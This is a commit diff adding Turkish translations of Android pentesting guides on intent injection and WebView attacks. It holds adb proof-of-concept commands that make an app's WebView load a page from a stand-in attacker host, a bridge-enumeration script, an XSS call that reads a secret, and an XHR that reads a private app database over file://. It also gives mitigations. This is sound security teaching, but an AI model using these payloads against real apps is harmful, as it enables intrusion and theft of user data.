Translated ['src/mobile-pentesting/android-app-pentesting/intent-injecti

This commit is contained in:
Translator 2025-08-20 19:22:18 +00:00
parent 2485e6206b
commit dbc083a321
2 changed files with 298 additions and 19 deletions

View File

@ -1,5 +1,64 @@
{{#include ../../banners/hacktricks-training.md}}
**Şuna bir göz atın: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
# Intent Injection
{{#include ../../banners/hacktricks-training.md}}
Intent injection, saldırgan tarafından kontrol edilen Intents veya daha sonra Intents'e dönüştürülen verileri kabul eden bileşenleri istismar eder. Android uygulama pentestleri sırasında iki çok yaygın desen şunlardır:
- Özel, dışa aktarılmamış bileşenlere daha sonra iletilen dışa aktarılmış Activities/Services/BroadcastReceivers'a hazırlanmış ekler geçirme.
- Saldırgan tarafından kontrol edilen URL'leri içsel WebView'lara veya diğer hassas sink'lere yönlendiren dışa aktarılmış VIEW/BROWSABLE derin bağlantıları tetikleme.
## Derin bağlantılar → WebView sink (URL parametre enjeksiyonu)
Eğer bir uygulama aşağıdaki gibi özel bir şemaya sahip derin bağlantııyorsa:
```text
myscheme://com.example.app/web?url=<attacker_url>
```
ve alıcı Activity, `url` sorgu parametresini bir WebView'a ilettiğinde, uygulamayı kendi WebView bağlamında keyfi uzak içeriği render etmeye zorlayabilirsiniz.
adb üzerinden PoC:
```bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact
- HTML/JS uygulamanın WebView profilinde çalıştırılır.
- JavaScript etkinse (varsayılan olarak veya yanlış sıralanmış kontroller nedeniyle), herhangi bir açık `@JavascriptInterface` nesnesini listeleyebilir/kullanabilir, WebView çerezlerini/yerel depolamayı çalabilir ve pivot yapabilirsiniz.
Ayrıca bakınız:
{{#ref}}
webview-attacks.md
{{#endref}}
## JavaScript'i etkinleştiren kontrol sırası hatası
Tekrarlayan bir hata, JavaScript'i (veya diğer izin verici WebView ayarlarını) son URL beyaz liste/doğrulama tamamlanmadan önce etkinleştirmektir. Erken yardımcılar derin bağlantınızı kabul ederse ve WebView önce yapılandırılırsa, son yüklemeniz JavaScript zaten etkinken gerçekleşir, daha sonraki kontroller hatalı veya çok geç olsa bile.
Decompile edilmiş kodda aramanız gerekenler:
- URL'yi farklı şekilde ayrıştıran/bölüp/yeniden inşa eden birden fazla yardımcı (tutarsız normalizasyon).
- Son host/path beyaz liste kontrolünden önce `getSettings().setJavaScriptEnabled(true)` çağrıları.
- Aşağıdaki gibi bir işlem hattı: ayrıştır → kısmi doğrula → WebView'ı yapılandır → son doğrula → loadUrl.
Mitigations
- Bir kez kanonikleştir ve sıkı bir şekilde doğrula; kapalı başar.
- Tüm kontroller geçtikten sonra ve yalnızca güvenilir içerik yüklemeden hemen önce JavaScript'i etkinleştir.
- Güvenilmeyen kökenlere köprüler açmaktan kaçının.
## Diğer klasik Intent enjeksiyon primitifleri
- saldırgan tarafından sağlanan `Intent` ekleri kullanarak startActivity/sendBroadcast, daha sonra yeniden ayrıştırılır (`Intent.parseUri(...)`) ve yürütülür.
- İzin kontrolü olmadan Intents'i dışa aktarılmamış hassas bileşenlere ileten dışa aktarılmış proxy bileşenleri.
## References
- [Android Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Ireland 2024 Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -12,6 +12,126 @@ Android geliştirmesinin kritik bir yönü, WebView'ların doğru bir şekilde y
### **WebView'larda Dosya Erişimi**
Varsayılan olarak, WebView'lar dosya erişimine izin verir. Bu işlevsellik, Android API seviyesi 3 (Cupcake 1.5) itibarıyla mevcut olan `setAllowFileAccess()` metodu ile kontrol edilir. **android.permission.READ_EXTERNAL_STORAGE** iznine sahip uygulamalar, dış depolamadan dosyaları bir dosya URL şeması (`file://path/to/file`) kullanarak okuyabilir.
#### **Kaldırılan Özellikler: URL'lerden Evrensel ve Dosya Erişimi**
- **Dosya URL'lerinden Evrensel Erişim**: Bu kaldırılan özellik, dosya URL'lerinden çapraz kökenli istekleri mümkün kılmakta olup, potansiyel XSS saldırıları nedeniyle önemli bir güvenlik riski taşımaktadır. Varsayılan ayar, Android Jelly Bean ve daha yeni sürümleri hedefleyen uygulamalar için devre dışıdır (`false`).
- Bu ayarı kontrol etmek için `getAllowUniversalAccessFromFileURLs()` kullanın.
- Bu ayarı değiştirmek için `setAllowUniversalAccessFromFileURLs(boolean)` kullanın.
- **Dosya URL'lerinden Dosya Erişimi**: Bu özellik de kaldırılmıştır ve diğer dosya şeması URL'lerinden içerik erişimini kontrol etmiştir. Evrensel erişimde olduğu gibi, varsayılan ayarı güvenliği artırmak için devre dışıdır.
- Kontrol etmek için `getAllowFileAccessFromFileURLs()` ve ayarlamak için `setAllowFileAccessFromFileURLs(boolean)` kullanın.
#### **Güvenli Dosya Yükleme**
Dosya sistemi erişimini devre dışı bırakırken varlıklar ve kaynaklara erişim sağlamak için `setAllowFileAccess()` metodu kullanılır. Android R ve üzeri için varsayılan ayar `false`'dır.
- Kontrol etmek için `getAllowFileAccess()` kullanın.
- Etkinleştirmek veya devre dışı bırakmak için `setAllowFileAccess(boolean)` kullanın.
#### **WebViewAssetLoader**
**WebViewAssetLoader** sınıfı, yerel dosyaları yüklemek için modern bir yaklaşımdır. Yerel varlıklara ve kaynaklara erişim için http(s) URL'lerini kullanır ve Aynı-Köken politikası ile uyumlu olup, CORS yönetimini kolaylaştırır.
### loadUrl
Bu, bir webview'da rastgele URL'leri yüklemek için kullanılan yaygın bir işlevdir:
```java
webview.loadUrl("<url here>")
```
Elbette, potansiyel bir saldırganın bir uygulamanın yükleyeceği **URL'yi** asla **kontrol edememesi** gerekir.
### **JavaScript ve Intent Şeması Yönetimi**
- **JavaScript**: WebView'larda varsayılan olarak devre dışıdır, `setJavaScriptEnabled()` ile etkinleştirilebilir. JavaScript'in uygun korumalar olmadan etkinleştirilmesi güvenlik açıkları oluşturabileceğinden dikkatli olunmalıdır.
- **Intent Şeması**: WebView'lar `intent` şemasını işleyebilir, dikkatli yönetilmezse istismar edilebilir. Bir örnek güvenlik açığı, "support_url" adlı bir WebView parametresinin açığa çıkmasıydı; bu, çapraz site betikleme (XSS) saldırılarını gerçekleştirmek için istismar edilebilirdi.
![Vulnerable WebView](<../../images/image (1191).png>)
adb kullanarak istismar örneği:
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
### Javascript Bridge
Android, **JavaScript**'in bir WebView içinde **yerel Android uygulama fonksiyonlarını** çağırmasına olanak tanıyan bir özellik sunar. Bu, JavaScript'i yerel Android işlevleriyle entegre eden `addJavascriptInterface` yönteminin kullanılmasıyla gerçekleştirilir ve buna _WebView JavaScript köprüsü_ denir. Bu yöntemin, WebView içindeki tüm sayfaların kayıtlı JavaScript Arayüz nesnesine erişmesine izin verdiği için dikkatli olunması önerilir; bu, hassas bilgilerin bu arayüzler aracılığıyla ifşa edilmesi durumunda bir güvenlik riski oluşturur.
- **Aşırı dikkat gereklidir**; çünkü 4.2'nin altındaki Android sürümlerini hedefleyen uygulamalar için kötü niyetli JavaScript aracılığıyla uzaktan kod yürütme olanağı sağlayan bir güvenlik açığı bulunmaktadır.
#### JavaScript Köprüsü Uygulama
- **JavaScript arayüzleri**, bir sınıf yönteminin JavaScript'e açıldığı örneklerde gösterildiği gibi, yerel kodla etkileşimde bulunabilir:
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
- JavaScript Bridge, WebView'e bir arayüz ekleyerek etkinleştirilir:
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```
- JavaScript aracılığıyla potansiyel istismar, örneğin, bir XSS saldırısı yoluyla, açığa çıkarılmış Java yöntemlerinin çağrılmasını sağlar:
```html
<script>
alert(javascriptBridge.getSecret())
</script>
```
- Riskleri azaltmak için, **JavaScript köprü kullanımını** APK ile birlikte gönderilen kodla sınırlayın ve uzaktan kaynaklardan JavaScript yüklenmesini engelleyin. Eski cihazlar için minimum API seviyesini 17 olarak ayarlayın.
### Yansıma Tabanlı Uzaktan Kod Çalıştırma (RCE)
- Belgelendirilmiş bir yöntem, belirli bir yükü çalıştırarak yansıma yoluyla RCE elde etmeyi sağlar. Ancak, `@JavascriptInterface` notasyonu yetkisiz yöntem erişimini engelleyerek saldırı yüzeyini sınırlar.
### Uzaktan Hata Ayıklama
- **Uzaktan hata ayıklama**, **Chrome Geliştirici Araçları** ile mümkündür ve WebView içeriği içinde etkileşim ve keyfi JavaScript çalıştırma imkanı sunar.
#### Uzaktan Hata Ayıklamayı Etkinleştirme
- Uzaktan hata ayıklama, bir uygulama içindeki tüm WebView'lar için etkinleştirilebilir:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
- Uygulamanın hata ayıklanabilir durumuna bağlı olarak hata ayıklamayı koşullu olarak etkinleştirmek için:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Rastgele dosyaları dışarı aktarma
- XMLHttpRequest kullanarak rastgele dosyaların dışarı aktarımını gösterir:
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
```
# Webview Saldırıları
## WebView Yapılandırmaları ve Güvenlik Rehberi
### WebView Güvenlik Açıkları Genel Bakış
Android geliştirmesinin kritik bir yönü, WebView'ların doğru bir şekilde yönetilmesidir. Bu rehber, WebView kullanımına ilişkin riskleri azaltmak için ana yapılandırmaları ve güvenlik uygulamalarını vurgulamaktadır.
![WebView Örneği](<../../images/image (1190).png>)
### **WebView'larda Dosya Erişimi**
Varsayılan olarak, WebView'lar dosya erişimine izin verir. Bu işlevsellik, Android API seviye 3 (Cupcake 1.5) itibarıyla mevcut olan `setAllowFileAccess()` metodu ile kontrol edilir. **android.permission.READ_EXTERNAL_STORAGE** iznine sahip uygulamalar, dosya URL şeması (`file://path/to/file`) kullanarak harici depolamadan dosyaları okuyabilir.
#### **Kaldırılan Özellikler: Evrensel ve URL'lerden Dosya Erişimi**
@ -19,7 +139,7 @@ Varsayılan olarak, WebView'lar dosya erişimine izin verir. Bu işlevsellik, An
- **Dosya URL'lerinden Evrensel Erişim**: Bu kaldırılan özellik, dosya URL'lerinden çapraz kökenli istekleri mümkün kılmakta olup, potansiyel XSS saldırıları nedeniyle önemli bir güvenlik riski taşımaktadır. Varsayılan ayar, Android Jelly Bean ve daha yeni sürümleri hedefleyen uygulamalar için devre dışıdır (`false`).
- Bu ayarı kontrol etmek için `getAllowUniversalAccessFromFileURLs()` kullanın.
- Bu ayarı değiştirmek için `setAllowUniversalAccessFromFileURLs(boolean)` kullanın.
- **Dosya URL'lerinden Dosya Erişimi**: Bu özellik de kaldırılmıştır ve diğer dosya şeması URL'lerinden içerik erişimini kontrol etmiştir. Evrensel erişimde olduğu gibi, varsayılan ayarı artırılmış güvenlik için devre dışıdır.
- **Dosya URL'lerinden Dosya Erişimi**: Bu özellik de kaldırılmıştır ve diğer dosya şeması URL'lerinden içeriğe erişimi kontrol etmiştir. Evrensel erişimde olduğu gibi, varsayılan ayarı güvenliği artırmak için devre dışıdır.
- Kontrol etmek için `getAllowFileAccessFromFileURLs()` ve ayarlamak için `setAllowFileAccessFromFileURLs(boolean)` kullanın.
#### **Güvenli Dosya Yükleme**
@ -35,16 +155,113 @@ Dosya sistemi erişimini devre dışı bırakırken varlıklar ve kaynaklara eri
### loadUrl
Bu, bir webview'de rastgele URL'leri yüklemek için kullanılan yaygın bir işlevdir:
Bu, bir webview'da rastgele URL'leri yüklemek için kullanılan yaygın bir işlevdir:
```java
webview.loadUrl("<url here>")
```
Elbette, potansiyel bir saldırganın bir uygulamanın yükleyeceği **URL'yi** asla kontrol edememesi gerekir.
Elbette, potansiyel bir saldırganın bir uygulamanın yükleyeceği **URL'yi** asla **kontrol edememesi** gerekir.
### İç WebView'e derin bağlantı (özel şema → WebView sızıntısı)
Birçok uygulama, kullanıcı tarafından sağlanan bir URL'yi uygulama içi WebView'e yönlendiren özel şemalar/yollar kaydeder. Eğer derin bağlantı dışa aktarılırsa (GÖRÜNTÜ + GÖRÜNÜR), bir saldırgan uygulamanın WebView bağlamında rastgele uzaktan içerik görüntülemesini zorlayabilir.
Tipik manifest deseni (basitleştirilmiş):
```xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
```
Yaygın kod akışı (basitleştirilmiş):
```java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
```
ADB aracılığıyla saldırı modeli ve PoC:
```bash
# Template force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact: uzaktan sayfa uygulama WebView bağlamında çalışır (uygulama WebView profili için çerezler/oturum, herhangi bir açık @JavascriptInterface'e erişim, ayarlara bağlı olarak content:// ve file:// erişimi).
Hunting tips:
- `getQueryParameter("url")`, `loadUrl(`, `WebView` sink'leri ve derin bağlantı işleyicileri (`onCreate/onNewIntent`) için decompile edilmiş kaynakları Grep ile tarayın.
- Manifestoyu, daha sonra bir WebView başlatan etkinliklere eşlenen VIEW+BROWSABLE filtreleri ve özel şemalar/hostlar için gözden geçirin.
- Birden fazla derin bağlantı yolu olup olmadığını kontrol edin (örneğin, "harici tarayıcı" yolu ile "iç webview" yolu) ve uygulama içinde render edilen olanı tercih edin.
### JavaScript'i doğrulamadan önce etkinleştirme (check sırası hatası)
Sık yapılan bir güvenlik hatası, hedef URL'nin nihai beyaz liste/doğrulaması tamamlanmadan önce JavaScript'i etkinleştirmek veya gevşek WebView ayarlarını yapılandırmaktır. Doğrulama yardımcılar arasında tutarsızsa veya çok geç oluyorsa, bir saldırgan derin bağlantı, aşağıdaki duruma ulaşabilir:
1) WebView ayarları uygulanır (örneğin, `setJavaScriptEnabled(true)`), ve
2) Güvenilmeyen URL, JavaScript etkinleştirilmiş olarak yüklenir.
Hata modeli (pseudocode):
```java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late JS already enabled
// 4) Load
webView.loadUrl(u.toString());
```
Neden istismar edilebilir
- Tutarsız normalizasyon: yardımcı programlar URL'yi son kontrol ile farklı şekilde ayırıp yeniden inşa eder, bu da kötü niyetli bir URL'nin istismar edebileceği uyumsuzluklar yaratır.
- Yanlış sıralanmış işlem hattı: 2. adımda JS'nin etkinleştirilmesi, WebView örneğine küresel olarak uygulanır ve doğrulama daha sonra başarısız olsa bile son yüklemeyi etkiler.
Nasıl test edilir
- Erken kontrolleri geçen ve WebView yapılandırma sitesine ulaşan derin bağlantı yükleri oluşturun.
- ADB kullanarak sizin kontrolünüzdeki `url=` parametresini ileten örtük GÖRÜNTÜ niyetlerini ateşleyin:
```bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Eğer istismar başarılı olursa, yüklemeniz uygulamanın WebView'ında JavaScript çalıştırır. Buradan, açığa çıkan köprüleri araştırın:
```html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
```
Defansif rehberlik
- Bir kez kanonize et; tek bir gerçek kaynağa (şema/host/yol/sorgu) karşı katı bir şekilde doğrula.
- Sadece tüm izin listesi kontrolleri geçtikten sonra ve güvenilir içeriği yüklemeden hemen önce `setJavaScriptEnabled(true)` çağrısını yap.
- Güvenilmeyen kökenlere `@JavascriptInterface` ifşa etmekten kaçın; köken başına kontrol tercih et.
- Güvenilir ve güvenilmeyen içerikler için ayrı WebView örnekleri düşün, varsayılan olarak JS devre dışı.
### **JavaScript ve Intent Şeması Yönetimi**
- **JavaScript**: WebView'larda varsayılan olarak devre dışı bırakılmıştır, `setJavaScriptEnabled()` ile etkinleştirilebilir. JavaScript'in uygun korumalar olmadan etkinleştirilmesi güvenlik açıkları oluşturabileceğinden dikkatli olunmalıdır.
- **Intent Şeması**: WebView'lar `intent` şemasını işleyebilir, dikkatli yönetilmezse istismar durumlarına yol açabilir. Bir örnek güvenlik açığı, "support_url" adlı bir WebView parametresinin ifşa edilmesiyle ilgiliydi; bu, çapraz site betikleme (XSS) saldırılarını gerçekleştirmek için istismar edilebilirdi.
- **JavaScript**: WebView'larda varsayılan olarak devre dışıdır, `setJavaScriptEnabled()` ile etkinleştirilebilir. Uygun güvenlik önlemleri olmadan JavaScript'i etkinleştirmenin güvenlik açıkları oluşturabileceği konusunda dikkatli olunmalıdır.
- **Intent Şeması**: WebView'lar `intent` şemasını işleyebilir, dikkatli yönetilmezse istismar edilebilir. Bir örnek güvenlik açığı, çapraz site betikleme (XSS) saldırılarını gerçekleştirmek için istismar edilebilecek "support_url" adlı bir WebView parametresinin ifşa edilmesini içeriyordu.
![Vulnerable WebView](<../../images/image (1191).png>)
@ -52,13 +269,13 @@ adb kullanarak istismar örneği:
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
### Javascript Köprüsü
### Javascript Bridge
Android, **JavaScript**'in bir WebView içinde **yerel Android uygulama fonksiyonlarını** çağırmasını sağlayan bir özellik sunar. Bu, JavaScript'i yerel Android işlevleriyle entegre eden `addJavascriptInterface` yönteminin kullanılmasıyla gerçekleştirilir ve buna _WebView JavaScript köprüsü_ denir. Dikkatli olunması önerilir çünkü bu yöntem, WebView içindeki tüm sayaların kayıtlı JavaScript Arayüz nesnesine erişmesine izin verir ve bu arayüzler aracılığıyla hassas bilgilerin ifşa edilmesi durumunda bir güvenlik riski oluşturur.
Android, **JavaScript**'in bir WebView içinde **yerel Android uygulama fonksiyonlarını** çağırmasını sağlayan bir özellik sunar. Bu, JavaScript'i yerel Android işlevleriyle entegre eden `addJavascriptInterface` yönteminin kullanılmasıyla gerçekleştirilir ve buna _WebView JavaScript köprüsü_ denir. Bu yöntem, WebView içindeki tüm sayfaların kayıtlı JavaScript Arayüz nesnesine erişmesine izin verdiğinden, hassas bilgilerin bu arayüzler aracılığıyla ifşa edilmesi durumunda bir güvenlik riski oluşturduğundan dikkatli olunması önerilir.
- **Aşırı dikkat gereklidir** çünkü 4.2'nin altındaki Android sürümlerini hedefleyen uygulamalar için kötü niyetli JavaScript aracılığıyla uzaktan kod yürütme olanağı sağlayan bir güvenlik açığı bulunmaktadır.
- **Aşırı dikkat gereklidir** çünkü 4.2'nin altındaki Android sürümlerini hedefleyen uygulamalar, yansıtma yoluyla kötü niyetli JavaScript aracılığıyla uzaktan kod yürütme açığına sahiptir.
#### JavaScript Köprüsü Uygulaması
#### JavaScript Köprüsünün Uygulanması
- **JavaScript arayüzleri**, bir sınıf yönteminin JavaScript'e açıldığı örneklerde gösterildiği gibi, yerel kodla etkileşimde bulunabilir:
```javascript
@ -67,7 +284,7 @@ public String getSecret() {
return "SuperSecretPassword";
};
```
- JavaScript Köprüsü, WebView'a bir arayüz eklenerek etkinleştirilir:
- JavaScript Bridge, WebView'e bir arayüz ekleyerek etkinleştirilir:
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
@ -78,7 +295,7 @@ webView.reload()
alert(javascriptBridge.getSecret())
</script>
```
- Riskleri azaltmak için, **JavaScript köprü kullanımını** APK ile birlikte gönderilen kodla sınırlayın ve uzaktan kaynaklardan JavaScript yüklenmesini engelleyin. Eski cihazlar için minimum API seviyesini 17 olarak ayarlayın.
- Riskleri azaltmak için, **JavaScript köprü kullanımını** APK ile gönderilen kodla sınırlayın ve uzaktan kaynaklardan JavaScript yüklenmesini engelleyin. Eski cihazlar için minimum API seviyesini 17 olarak ayarlayın.
### Yansıma Tabanlı Uzaktan Kod Çalıştırma (RCE)
@ -122,10 +339,13 @@ xhr.send(null)
```
## Referanslar
- [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
- [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
- [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
- [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
- [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
- [Android WebView'lerin dosya erişim saldırı vektörlerinin incelemesi](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
- [WheresMyBrowser.Android (demo uygulama)](https://github.com/authenticationfailure/WheresMyBrowser.Android)
- [Android WebView referansı](https://developer.android.com/reference/android/webkit/WebView)
- [Derin Bağlantılar & WebView Sömürmeleri Bölüm II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
- [Derin Bağlantılar & WebView Sömürmeleri Bölüm I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
- [Samsung S24 Sömürü Zinciri Pwn2Own 2024 Geçişi](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own İrlanda 2024 Samsung S24 saldırı zinciri (beyaz kağıt)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Demonstrasyon videosu](https://www.youtube.com/watch?v=LAIr2laU-So)
{{#include ../../banners/hacktricks-training.md}}